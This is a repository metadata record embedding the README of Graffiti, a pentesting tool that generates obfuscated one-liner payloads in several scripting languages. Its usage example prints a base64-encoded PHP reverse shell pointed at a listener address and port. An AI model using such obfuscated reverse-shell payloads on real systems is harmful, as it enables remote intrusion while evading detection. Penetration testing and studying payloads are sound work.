{"id":13843776,"url":"https://github.com/Ekultek/Graffiti","last_synced_at":"2025-07-11T20:30:36.772Z","repository":{"id":110175338,"uuid":"159554919","full_name":"Ekultek/Graffiti","owner":"Ekultek","description":"A tool to generate obfuscated one liners to aid in penetration testing","archived":false,"fork":false,"pushed_at":"2019-01-29T14:54:56.000Z","size":92,"stargazers_count":176,"open_issues_count":4,"forks_count":44,"subscribers_count":17,"default_branch":"master","last_synced_at":"2024-11-12T18:46:31.516Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Ekultek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2018-11-28T19:37:11.000Z","updated_at":"2024-08-29T01:22:25.000Z","dependencies_parsed_at":"2023-04-24T10:54:08.381Z","dependency_job_id":null,"html_url":"https://github.com/Ekultek/Graffiti","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ekultek%2FGraffiti","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ekultek%2FGraffiti/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ekultek%2FGraffiti/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ekultek%2FGraffiti/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Ekultek","download_url":"https://codeload.github.com/Ekultek/Graffiti/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225755133,"owners_count":17519209,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:26.784Z","updated_at":"2024-11-21T15:31:31.540Z","avatar_url":"https://github.com/Ekultek.png","language":"Python","funding_links":[],"categories":["Python (1887)","Python"],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\u003cimg width=\"500\" alt=\"graffitibanner\" src=\"https://user-images.githubusercontent.com/14183473/49157062-8a351500-f2e4-11e8-80cd-00acd809171e.png\"\u003e\u003c/p\u003e\n\n###### _***NOTE***: Never upload payloads to online checkers_\n\nGraffiti is a tool to generate obfuscated oneliners to aid in penetration testing situations. Graffiti accepts the following languages for encoding:\n \n - Python\n - Perl\n - Batch\n - Powershell\n - PHP\n - Bash\n\nGraffiti will also accept a language that is not currently on the list and store the oneliner into a database.\n\n# Features\n\nGraffiti comes complete with a database that will insert each encoded payload into it, in order to allow end users to view already created payloads for future use. The payloads can be encoded using the following techniques:\n\n - Xor\n - Base64\n - Hex\n - ROT13\n - Raw\n\nSome features of Graffiti include:\n\n - Terminal drop in access, with the ability to run external commands\n - Ability to create your own payload JSON files\n - Ability to view cached payloads inside of the database\n - Ability to run the database in memory for quick deletion\n - Terminal history and saving of terminal history\n - Auto tab completion inside of terminal\n - Ability to securely wipe the history files and database file\n - Multiple encoding techniques as mentioned above\n\n# Usage\n\nGraffiti comes with a builtin terminal, when you pass no flags to the program it will drop into the terminal. The terminal has history, the ability to run external commands, and it's own internal commands. In order to get help, you jsut have to type `help` or `?`:\n\n```bash\n\n  ________              _____  _____.__  __  .__ \n /  _____/___________ _/ ____\\/ ____\\__|/  |_|__|\n/   \\  __\\_  __ \\__  \\\\   __\\\\   __\\|  \\   __\\  |\n\\    \\_\\  \\  | \\// __ \\|  |   |  |  |  ||  | |  |\n \\______  /__|  (____  /__|   |__|  |__||__| |__|\n        \\/           \\/           \n v(0.1)               \n\nno arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal\nroot@graffiti:~/graffiti# ?\n\n Command                                  Description\n---------                                --------------\n help/?                                  Show this help\n external                                List available external commands\n cached                                  Display all payloads that are already in the database\n list/show                               List all available payloads\n search \u003cphrase\u003e                         Search for a specific payload\n use \u003cpayload\u003e \u003ccoder\u003e                   Use this payload and encode it using a specified coder\n info \u003cpayload\u003e                          Get information on a specified payload\n check                                   Check for updates\n history                                 Display command history\n exit/quit                               Exit the terminal and running session\n encode \u003cscript-type\u003e \u003ccoder\u003e            Encode a provided payload\n\nroot@graffiti:~/graffiti# help\n\n Command                                  Description\n---------                                --------------\n help/?                                  Show this help\n external                                List available external commands\n cached                                  Display all payloads that are already in the database\n list/show                               List all available payloads\n search \u003cphrase\u003e                         Search for a specific payload\n use \u003cpayload\u003e \u003ccoder\u003e                   Use this payload and encode it using a specified coder\n info \u003cpayload\u003e                          Get information on a specified payload\n check                                   Check for updates\n history                                 Display command history\n exit/quit                               Exit the terminal and running session\n encode \u003cscript-type\u003e \u003ccoder\u003e            Encode a provided payload\n```\n\nGraffiti also comes with command line arguments for when you need a payload encoded quickly:\n\n```bash\nusage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]\n                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]\n                   [-l]\n                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]\n                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]\n                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CODEC, --codec CODEC\n                        specify an encoding technique (*default=None)\n  -p PAYLOAD, --payload PAYLOAD\n                        pass the path to a payload to use (*default=None)\n  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS\n                        create a payload file and store it inside of\n                        ./etc/payloads (*default=None)\n  -l, --list            list all available payloads by path (*default=False)\n  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]\n                        pass your own personal payload to use for the encoding\n                        (*default=None)\n  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS\n                        pass a listening address to use for the payload (if\n                        needed) (*default=None)\n  -lP LISTENING-PORT, --lport LISTENING-PORT\n                        pass a listening port to use for the payload (if\n                        needed) (*default=None)\n  -u URL, --url URL     pass a URL if needed by your payload (*default=None)\n  -vC, --view-cached    view the cached data already present inside of the\n                        database\n  -H, --no-history      do not store the command history (*default=True)\n  -W, --wipe            wipe the database and the history (*default=False)\n  --memory              initialize the database into memory instead of a .db\n                        file (*default=False)\n  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]\n                        pass more external commands, this will allow them to\n                        be accessed inside of the terminal commands must be in\n                        your PATH (*default=None)\n```\n\nEncoding a payload is simple as this:\n\n```bash\nroot@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065\nEncoded Payload:\n--------------------------------------------------\n\nphp -r 'exec(base64_decode(\"JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7\"));'\n\n--------------------------------------------------\n```\n\nA demo of Graffiti can be found here:\n\n[![to_video](https://user-images.githubusercontent.com/14183473/49241257-e7a49100-f3cc-11e8-96bb-134dc0724311.png)](https://vimeo.com/303548362)\n\n# Installation\n\nOn any Linux, Mac, or Windows system, Graffiti should work out of the box without the need to install any external packages. If you would like to install Graffiti as an executable onto your system (you must be running either Linux or Mac for it to work successfully), all you have to do is the following:\n\n```bash\n./install.sh\n```\n\nThis will install Graffiti into your system and allow you to run it from anywhere.\n\n# Bugs and issues\n\nIf you happen to find a bug or an issue, please create an issue with details [here](https://github.com/Ekultek/Graffiti/issues) and thank you ahead of time!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FEkultek%2FGraffiti","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FEkultek%2FGraffiti","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FEkultek%2FGraffiti/lists"}